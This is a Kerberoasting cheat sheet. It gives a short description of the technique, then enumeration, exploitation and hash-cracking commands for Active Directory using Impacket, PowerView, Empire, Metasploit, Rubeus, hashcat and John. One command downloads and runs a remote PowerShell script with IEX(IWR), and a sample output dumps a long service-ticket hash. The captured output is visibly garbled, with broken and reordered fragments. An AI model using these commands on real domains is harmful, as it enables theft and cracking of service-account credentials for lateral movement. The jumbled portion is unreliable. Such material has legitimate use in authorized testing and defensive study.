Kerberoasting

Description

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force. Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service). Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plain text credentials.

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.

Enumeration Techniques - Linux

Python - Impacket

GetUserSPNs.py [Domain]/[User]:<Password> -dc-ip [IP] -request

Enumeration Techniques - Windows

CMD

Gets all SPNs, Includes machine account SPNs setspn -T [Domain] -Q */*

Powerview

Get-DomainUser -SPN | Select SamAccountName, DisplayName, ServicePrincipalName

Exploit Techniques - Linux

Empire

PowerShell
powershell/credentials/invoke_kerberoast
C#
csharp/SharpSploit.Enumeration/Kerberoast

Impacket

GetUserSPNs.py [Domain]/[User]:<Password> -dc-ip [IP] -request

Metasploit

use auxiliary/gather/get_user_spns

Exploit Techniques - Windows

Invoke-Kerberoast (PowerSploit)

IEX(IWR https://raw.githubusercontent.com/BC-

SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-

Kerberoast.ps1);Invoke-Kerberoast | FL

PS C:\Windows\system32> iex (iwr https://raw roke-Kerberoast.ps1); Invoke-Kerberoast | FL ercontent.com/EmpireProject/Empire/master/data/module_source/credentials/I icketByteHexStream \$krb5tgs\$security.local/FileServer.security.local:7722:287C7747B65264C2676C9B176D8072A7\$692E12F0268F92EA
72BFDD4CAAB26FE38206623290AE8F44A945CC1A00FFDDD190EDD5BE7C93945F7D5EE1E559C7E03792C38EB8A9CEF1CA33ADD2C0
966742DBC660697E5D5E4DBC25ECE2014CAC898C0D0AFC364C8B8DAFA4D6D88105CED63CC4EA417521B7256ACF49383FFFC3E0B9 2E1B83E97043E7A0CF48BEBAB416CA2A486AA2B7D9D6889B01CAA1AC9D222DDF53342B309AA7E9ED7E8337C0F55242BD3E42 F14BC528E95024AD15EFA5046188197DF83B4702E5C6D12092D05AF61D547A96C1EA4BFDEED2838CED2973E28686DE6ED033F6E3 EC9AFA2DA350827E9BDEB47F8DC0E63AC9413EF8AD791873091D7BCDD46B334A9FD1BFF83327B2A716EEC9080969F56069533F1C A68C569CD19E2C4DCFAE5CB8BFD72B754C6C45DB6615D28508DF8F9020F8D9D008642B19B4350C9DE21053DF055879EAF1EE5B01 BE33B8ED2B05FBB5C877B33CDB634ED214DDC6E8089F58DCB52EC02D75832A14E664FAB4D84C16BCCD025660B9949B804FBI CB721FDB9A2312921BB626DF4B21DA510087CB0E391A7A662F74EB492716A734FAA343E535E03C6BD6DDDF02D15AA01C6C91E34F F0E14C972772E94BB5F2BD2B2E882248319F82B08CDB873FBE8140C11F7BA562443B32FE48D6C3C3F6AA292D3428CB93B1D7B4A D3F6586BD02DA789E0DAC86F71E1DFC21D117EFA266487EB94C5DEA301BC3959D892371FA0D78FC5241EFA97BB535543FDFFDA1 C3B19166C2857DFEC7F124FA3DE61C5A5E8111D6D3DBB2F72DA97B7C154F46DAAC3E405035E4E6215622BEF98C8033ED8AB5E27 40F831E23D9E61839DC01AB083538953652CA5D8591DC6B2D3A3113A0D3F66CCF8F455EBA47DBDBCC0D8DB817ECD8E57521902A3F7547E363332C1CA8F403438F5D35E94861668BF0593FA6A4E339B627EAA93E0E46D2DF7F55BE97073B8C2C28369EE757A0304 C0959753C4BB89B26AD9552D39A08BF5BBF3113A1D74B9DB02138E595C2A9AC0BA460E94497B07BB00E4A039298AD8329A044EBB D3DAA7FE456296FD5D0838BD6CE573D29E7DA1C446C456792E10B1824833DA4658141E1596AB470011C87D816A6AD244845EFD9 F3874525E69973D2F7502FEE607C9D70AEEDD440F610F4AD29F6D266CB947EEA06B604E6B3C2EF62E98BD347ECDE898706799CC 1DB25B5CAEA35BE8E1CA14068DB3689E64C1F52704744B38A92E0C7B29A48C20A7BC5C5DCE9FE333438A436B25D690284CA5B0A6 B9E61D6A68AFBCD13B6605DA37EAE26E73769C753913B8C558592F2ABCDEF3F8C858AD2CEFE4B82CEA4AB74A63B9AD2B85C0736 E51124379969B30FBA3177E4525E3A8B06171B4F151502DE44F926CC6DDF8C182C9E7B721F7D23B59A803A91DA3FB76C9DBD627 ED490A0FD22CCCCE3244858B11675F3C88DD819AEFB2A6C0438D04548180FFB62EB984B1F26A6CA8FFAB31E76DC426615BD9A9B7 E102A676892C1FEB329A22C0F418DFBA5C18860FB98138968559B37D10F302B8EBA3B6823A4A7387645FCDA1ABA4A66026D8F812 0146EEEBBF3F07620F0D152967086ADE23C117EDF4C808DE4077208E562E5FC2 amAccountName DistinguishedName : CN=fileServer,OU=Users,OU=Business,DC=Security,DC=local servicePrincipalName : security.local/FileServer.security.local:7722

Rubeus

URL (Binary): https://github.com/r3motecontrol/Ghostpack-

CompiledBinaries/blob/master/Rubeus.exe

URL (PowerShell):

https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1 (binary)

- # Kerberoast all users in Domain and output to file
- .\Rubeus.exe kerberoast /simple /outfile:C:\Temp\Kerbhashes.txt
- # Kerberoast all users in alternative Domain
- .\Rubeus.exe kerberoast /nowrap /domain:[Domain]
- # All Users in OU
- .\Rubeus.exe kerberoast /ou:OU=Service_Accounts,DC=Security,DC=local /nowrap
- # Specific users
- .\Rubeus.exe kerberoast /user:[User] /nowrap
- # List statistics about found Kerberoastable accounts (Quiet)
- .\Rubeus.exe kerberoast /stats

Cracking Techniques

Windows

hashcat64.exe -m 13100 c:Hashes.txt rockyou.txt

john --wordlist rockyou.txt Hashes.txt --format=krb5tgs hashcat -m 13100 -a 3 Hashes.txt rockyou